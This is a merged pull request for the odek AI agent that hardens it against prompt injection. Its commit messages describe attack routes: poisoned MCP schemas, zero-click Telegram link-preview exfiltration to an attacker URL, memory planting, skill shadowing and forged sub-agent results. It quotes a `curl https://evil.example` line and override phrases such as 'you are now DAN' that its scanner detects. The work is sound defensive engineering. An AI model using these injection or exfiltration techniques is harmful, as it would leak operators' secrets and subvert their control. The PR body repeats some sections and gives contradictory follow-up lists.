Repository navigation
fix: prompt-injection and system-prompt hardening + follow-ups (2026-10-09 assessment) - #314
Merged
Merged
Conversation
ODEK_APPROVE_MCP=1 returned every advertised tool before the schema guard scan and the 256 KiB schema cap ran, so a poisoned or oversized inputSchema reached the model whenever the env var was set (it can be permanently on via secrets.env). The env var now grants approval at the same point as auto_approve, after both checks. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
A server answering tools/call with a JSON-RPC error object could put an arbitrarily long message (up to max_response_bytes) into the tool error the model reads, bypassing the per-server result cap that already applied to results and isError text. The message is now sanitised and capped with the same structured truncation notice. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Parameter descriptions, titles, examples, string defaults, $comment and vendor keys in an MCP inputSchema reached the model verbatim as its own tool contract; only a blacklist scan stood in the way of paraphrased poisoning. The provider now receives a structural copy (allowlisted keywords, bounded enum/const/property names) and the free text is rendered as bounded parameter docs inside the nonce-wrapped description block. The approval key still hashes the original schema. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
A server that rewrote an approved tool's description or schema triggered a re-prompt that showed only a 200-byte description excerpt and a schema hash, so a payload appended after a benign opening or hidden in a parameter description was approved blind. The prompt now shows the description (2 KiB), a parameter summary and the lifted parameter docs, all escaped with danger.SanitizeForDisplay/SanitizeInline. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
…ault
Telegram fetches a previewed URL server-side on delivery, so an injected
answer containing https://attacker/?s=<secret> exfiltrated with no click,
shell command or approval. The Bot client now sends
link_preview_options {is_disabled: true} on every sendMessage and
editMessageText unless the operator sets telegram.link_preview /
ODEK_TELEGRAM_LINK_PREVIEW; project odek.json cannot enable it.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
…messages Wake turns ran with user 0, which the approver treats as "anyone may answer", so any allowed group member could approve what a background-job injection provoked. Wake prompts now bind to the user who last started a turn in the chat (or the single allowed user) and fail closed otherwise; the wake message is persisted with Name "bg-wake" like the WebUI. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
With allowed_chats set and allowed_users empty, every member of an allowed group (negative chat id) is a principal who can drive the agent and answer its prompts, which operators did not expect. odek telegram now prints a startup warning naming those chats and the docs explain the AND semantics; authorization itself is unchanged. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
…forwards The update callbacks wrapped forwarded text, transcripts, captions and documents with context.Background(), before the turn's audit recorder existed, so no ingest was recorded and the divergence heuristic missed them; forwarded text also skipped the telegram guard scope. The turn now records the opening message's wrappers on its recorder, and forwarded text is scanned under the telegram scope like captions and transcripts. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
The memory tool's approval prompt and the batch card showed only "memory add", so an injected agent could plant a fact that rides into every future system prompt while the human approved it blind. The approval resource now carries the sanitised, bounded fact/atom text (or the removed/pinned entry) through a shared leaf helper used by both the tool-level gate and the loop's batch classifier. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
The skills catalog is appended to the unwrapped system head, and a hostile repository's project skill could use a free-prose sentence as its name. Names are now capped at 64 characters of an identifier-ish charset, injection-scanned like descriptions (flagged names are withheld), NeedsReview names must be a single token to be listed, and every catalog line is flattened, bounded and sanitised. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Name collisions were first-wins in project → user → extras order, so a cloned repository could ship a project skill named like the operator's trusted skill and hide it behind a NeedsReview copy. Collision resolution is now shared by both scan paths: a trusted copy always wins over a NeedsReview one, and the shadowed copy is skipped with a warning. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
`curl https://evil.example | cat` pulled remote text into a session whose episode stayed trusted and auto-replayable, because shell never tainted. Shell and bg_start calls are now classified with the danger analyzer: a network_egress, network_upload or unknown effect taints the episode (and skill provenance), while local commands stay trusted. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Deploying with
|
| Status | Name | Latest Commit | Preview URL | Updated (UTC) |
|---|---|---|---|---|
| ✅ Deployment successful! View logs |
odek | ea5552b | Commit Preview URL Branch Preview URL |
Oct 10 2026, 07:15 AM |
jkyberneees
force-pushed
the
fix/prompt-injection-2026-10-09
branch
9 times, most recently
from
October 9, 2026 19:52
ae1d75d to
597b024
Compare
The pending-review queue listed only the 120-character index summary, while recall replays the whole episode file, so an operator could promote instructions hidden past the cut. The listing now carries the full stored text (sanitised) and its SHA-256, promote returns the promoted text and sources, and a promote pinned to a hash that no longer matches is refused with 409. The WebUI sends the hash it displayed. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
The nudge told the model to "run their declared tools" for checks that may have been restored from a persisted (and possibly attacker-written) plan, lending the engine's voice to model-declared commands. The nudge now calls checks unverified plan data runnable only when consistent with the principal's request, and restored checks carry a Restored mark: they never trigger the nudge alone and are named as history not to run. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
…text Skill, episode and extended-memory injections and verifier verdicts were wrapped only when a surface installed a wrapper, and drained background notices relied on the caller to wrap. A direct loop.New embedder delivered those blocks bare. A shared wrapContext helper now falls back to the engine's nonce'd boundary, and bg notices get it when no wrapper is set. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
…-process isFullyWrappedUntrusted is syntactic, so a session-file writer could keep a system message (or digest/plan body) under an attacker-chosen source with an un-neutralised body, and an extension tool could do the same with its output. The engine now records every boundary it mints; anything else is re-wrapped (foreign outer tag discarded, body neutralised), keeping in-process turns byte-stable and the digest/plan strict parsers working. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
… load The digest cap applied only in installDigest and plan resume parsing had no field bounds, while both records sit in the undroppable protected head: a session file carrying a multi-MB digest or plan title bricked the session. Persisted digest bodies are now re-capped with the installDigest budget (absolute ceiling without a context limit) and persisted plans with an oversized message, title or note are rejected. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
ComposeSecureSystem removed only exact pillar copies, so an identity (e.g. a tampered IDENTITY.md) carrying an altered pillar copy kept it ahead of the authoritative one, where it could contradict the real rules. Sections whose headings imitate a pillar heading are now stripped through to the next unrelated heading before the pillar is appended last; the AGENTS.md claim that an identity carrying the pillar is kept whole is corrected. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
…sage The memory-derived "where you left off" summary entered the conversation with system role, sharing the authority of the runtime prompt. It is now a wrapped user-role message named return-after-break, appended at the end of the resumed history, and loop hooks, the verifier, transcript turns and session turn counting/protected head skip it like background notices. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
"the user (said|says|wants|told you)" matched descriptive operator prose such as "When the user says deploy, run make deploy", so a legitimate IDENTITY.md or --system was rejected and silently replaced by the default. Impersonation now needs a relayed claim that unlocks something (an override target, a granted permission, or a quoted relay), and a guard-rejected AGENTS.md is reported on stderr like an IDENTITY.md rejection. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
The sidecar second opinion called Detect, which truncates to max_text_length, so a payload placed after the limit was never seen by the sidecar. Longer content is now split into overlapping, rune-aligned windows within the limit and judged in batches; content needing more than 1024 windows is rejected outright so padding cannot buy a local-only acceptance. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Tool results, streamed content, thinking and final answers were written to the terminal raw, so ANSI/OSC sequences, carriage returns or bidi overrides from a fetched page could rewrite what the operator saw. Every model- or tool-sourced string is now escaped linearly (newlines/tabs kept where multi-line), and stream fragments hold back a split multibyte character. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
The scanner missed persona swaps ("you are now DAN"), set-aside phrasings,
context-leak requests ("repeat everything above"), override banners, notes
addressed to the model, [SYSTEM]/### SYSTEM role markers, exfiltrating task
redirects in Spanish/French/German and spaced-out letters. Each now has a
narrow pattern with benign counterparts pinned clean; generic "print the
instructions" and colon relays without an imperative no longer match.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
The untrusted-input fence keyed on the trust label the parent's model declared, so a task with no trust_level (or from an untrusted parent) ran with the untrusted permission clamp but received its goal/context unfenced, as if it were operator instructions. Fence on the effective trust instead. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
…ation MCP tool descriptions and schemas are third-party text in the tool catalogue, outside the message history, so they never set the ingest taint and a poisoned description could steer delegate_tasks into a trusted child with MCP and bg tools. Tools now report third-party catalogue metadata and the loop taints the run when any is registered. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
The delegate_tasks taint was only a substring scan of the history, so context trimming (whose marker erased the wrapper), write-time size trimming or compaction made a continued session look clean and a model could again request trusted children. Sessions now carry a sticky untrusted_ingested flag derived on save and load, resumed runs on continue/REPL/serve/Telegram seed their taint from it, and the trim marker for an untrusted body still reads as untrusted. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
…once A command run by a sub-agent can write lines to the child's stdout, and the parent took the last result-shaped line as the task result, so a forged usage block could under-charge the shared budget. The parent now hands a random nonce over a private inherited descriptor, accepts only the first framed result carrying it, and only that frame may report usage; without it the grant is settled as unreported. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
govulncheck reports GO-2026-6617, 6612, 6611 and related HTTP/2 advisories in x/net v0.59.0; v0.60.0 carries the fixes. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Every tool behind the agent's toolAdapter was wrapped as tool:<name> and recorded as an ingest, so the first call of any kind (even math_eval) tainted the run and trusted delegation was practically never available. First-party built-ins now declare per-call pure output (tool.PureOutput), honoured only for concrete types registered from internal packages, so an embedder or MCP tool cannot opt out. Pure calls keep the boundary under the engine-derived pure_tool:<name> label and record no ingest. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Episode provenance was derived from the session's history at session end, so a tainting call (a read outside the workspace, an MCP or network call) trimmed or compacted out of the history yielded a trusted, auto-recalled episode. Every save now records a sticky session.EpisodeUntrusted flag from the messages it writes, before write-time trimming, ORed with the revision on disk (cached-revision and symlink-alias paths included); legacy files derive it on load. Both taint scans no longer trust the redaction boundary: they skip only a prefix the last committed save of the same revision scanned, verified by a digest over every message. Telegram resume and archive keep the flags. DeriveSessionProvenance is the only exported episode derivation and folds the flag in; it stays separate from UntrustedIngested so workspace-only coding sessions remain recallable. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
MarkUntrustedIngested swapped the cached chat entry outside the per-chat save lock. A save in flight then saw a different cache pointer and skipped its cache update, leaving a stale stored revision so every later save of the chat failed with a conflict. The mark now holds the same save lock. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
…aracters Terminal escaping treated every Cf rune as invisible, so flags such as England (U+1F3F4 + tag characters + cancel tag) printed as escapes. Tag characters are now kept only while they continue a flag tag sequence (black flag, up to seven lowercase/digit tags, cancel tag), tracked across stream fragments; elsewhere they still smuggle invisible ASCII and stay escaped. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
…string Mutating memory calls cap every field at 2048 bytes. replace/remove match old_text as a unique substring, so facts stored before the cap and longer than it stay editable through a short substring. Pin that with a test and correct SECURITY.md, which claimed the approval shows the whole replaced or removed entry; it shows the selecting old_text. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
"Never send secrets to external services." matched the transmit-secrets pattern, so a common AGENTS.md/IDENTITY.md line got the identity rejected. A match of that pattern now counts only when no negation directly governs its verb; every occurrence must be negated, so mixed or 'don't forget to' phrasings still match. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
The approval for replace/remove showed only old_text, a substring the model chose, so the human could not see which stored fact would change. The tool gate now resolves old_text to its unique entry before prompting and shows it in full (a legacy entry over 2048 bytes as length, sha256 and a marked excerpt); unmatched calls fail without a prompt, and the mutation is bound to the approved entry so a concurrent rewrite aborts it. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
A background process left by a child could reopen the child's stdout (or frame/key descriptor) via /proc/<pid>/fd, steal the authenticated result frame and write a forged one with its nonce. The child now calls prctl(PR_SET_DUMPABLE, 0) before reading its descriptors, making them root-owned in /proc. Costs: no core dumps, no same-uid debugger attach. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
jkyberneees
force-pushed
the
fix/prompt-injection-2026-10-09
branch
from
October 10, 2026 07:04
597b024 to
5231543
Compare
The first phase asserted a full reload for a write inside the 50 ms settle window, but a slow CI runner can take longer than that between Create and the save, letting the stamp settle and the check pass without a reload. The window is now a package var and the phase widens it, so the assertion no longer depends on wall-clock speed. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Fixes every finding from the 2026-10-09 prompt-injection and system-prompt security assessment, plus the defects the per-area adversarial reviews found in the fixes. One commit per finding; review fixes are squashed into the commit they correct.
Six Opus agents (plus three for follow-ups) implemented the fixes in parallel worktrees (RED test first, then GREEN). A Sonnet agent then reviewed each area adversarially, and every confirmed defect was fixed before the commits were combined here.
Findings fixed
MCP
ODEK_APPROVE_MCP=1now runs the schema guard scan and the 256 KiB cap, likeauto_approve.requiredis kept consistent with the surviving properties. The approval key still hashes the original schema.error.messageis capped bymax_result_chars.Telegram
telegram.link_previewsetting (defaultfalse) andODEK_TELEGRAM_LINK_PREVIEW. Previews are disabled on every outbound text by default, which closes a zero-click exfiltration beacon. Operator-only: projectodek.jsoncannot enable it.bg-wake.allowed_users.telegramscope, with one banner only.Memory and skills
bg_startcommands with network or unknown effects taint memory episodes.summary_sha256, compares it under the episode lock and returns the promoted text. The WebUI andodek memory list/promoteshow the full sanitised summary.Loop and system prompt
loop.Newengines default-wrap skill, episode, extended-memory and bg-notice context.usermessage namedreturn-after-break. It is never persisted, counted as a turn, indexed, or treated as the task.Scanner and render
[SYSTEM]/### SYSTEMmarkers, ES/FR/DE redirects that name a secret or target, and spaced-letter evasion.max_text_lengthin overlapping windows. Content too large for the window cap is rejected whateverfallback_to_localsays.Taint and sub-agents
delegate_tasks, so trusted delegation is unavailable while MCP servers are loaded.Session.UntrustedIngested. Trimming does not clear it, it is seeded on every resume surface, and catalogue taint persists too. Embedders getodek.WithUntrustedIngest. Taint detection now matches only real wrappers, not the pillar's prose that mentions the tag.status: "unverified"and never refund budget.Behaviour changes worth a release note
telegram.link_preview: trueto restore them.POST …/episodes/{id}/promotereturns200with the summary instead of204, and requiressummary_sha256."enabled": falseif needed.auth. Their results show asunverified, and their budget grant is not refunded underbudget_inherit=share.Build
golang.org/x/netbumped to v0.60.0 to clear the govulncheck advisories that would block CI.Verification
go test ./...passes.internal/dangerwas run withHOME=/home/user.-racepasses on every changed package, includingcmd/odek.ODEK_E2E=trueE2E and MCP E2E pass.go vetandgofmtare clean.golangci-lintis clean.node --testfor the UI passes.internal/dangerfuzz targets ran 10s each with no failures.Coverage, before → after:
Coverage figures are per-group measurements taken in each worktree.
Full-branch Opus review
The review found three cross-group defects, all fixed and squashed into the commits they correct:
CodeQL flagged SHA-256 "password hashing" on the content-identity registry. That was a false positive. The registry now uses HMAC-SHA256 with a random per-process key, and the stable wrapper nonce uses FNV-128a.
A second Opus re-check found three more issues in the fixes, all now fixed. A file named like an engine label, such as
plan, could be read viahead_tailwithout tainting. Tool-side wrappers now relabel such sources toexternal:<label>. Recalled episodes did not taint.episodeis now off the allowlist, and episode provenance counts wrapped non-tool ingests. A fake wrapper in a library identity could shield a pillar imitation. Identity wrapper literals are now neutralised. The final re-check verdict was merge-ready.Follow-ups, now fixed in this PR
math_eval, inlinebase64encode,list_subagent_profiles,list_toolswithout project MCP servers,plan) are wrapped aspure_tool:<name>, record no ingest and do not taint. Purity is honoured only for registered first-party types, so embedder and MCP tools can never claim it. A panic in the purity check counts as impure.Session.EpisodeUntrusted. Save-time scans use their own anchor, independent of the redaction boundary, and Telegram resume and archive carry the flag. A tainting call trimmed out of history no longer yields a trusted, auto-recalled episode. It stays separate from the stricter delegation taint, so workspace coding sessions remain recallable.ErrEntryChanged). Legacy entries over the display bound show their length, a sha256 and an excerpt.prctl(PR_SET_DUMPABLE, 0)on Linux. This blocks same-uid/proc/<pid>/fdreplay of the result-frame nonce. Costs: no core dumps, and no same-uid ptrace attach on sub-agents.internal/loop/plan_baseline_eval_test.gois now gofmt'd.Each follow-up group got a Sonnet adversarial review, and the branch got Opus re-checks. Every confirmed defect was fixed.
Remaining limitations (documented)
CAP_SYS_PTRACEcan still read sub-agent descriptors.Verification
go test ./...passes.internal/dangerwas run withHOME=/home/user.-racepasses on every changed package, includingcmd/odek.ODEK_E2E=trueE2E and MCP E2E pass.go vetandgofmtare clean.golangci-lintis clean.node --testfor the UI passes.internal/dangerfuzz targets ran 10s each with no failures.Coverage, before → after:
Coverage figures are per-group measurements taken in each worktree.
Full-branch Opus review
The review found three cross-group defects, all fixed and squashed into the commits they correct:
CodeQL flagged SHA-256 "password hashing" on the content-identity registry. That was a false positive. The registry now uses HMAC-SHA256 with a random per-process key, and the stable wrapper nonce uses FNV-128a.
A second Opus re-check found three more issues in the fixes, all now fixed. A file named like an engine label, such as
plan, could be read viahead_tailwithout tainting. Tool-side wrappers now relabel such sources toexternal:<label>. Recalled episodes did not taint.episodeis now off the allowlist, and episode provenance counts wrapped non-tool ingests. A fake wrapper in a library identity could shield a pillar imitation. Identity wrapper literals are now neutralised. The final re-check verdict was merge-ready.Follow-ups (not in this PR)
Session.UntrustedIngestedflag. If a tainting tool call is trimmed out of history, its episode can be stored as trusted. The same is true on main, and recall now taints the run, so this does not yield a clean run.math_evalwould be a separate decision.🤖 Generated with Claude Code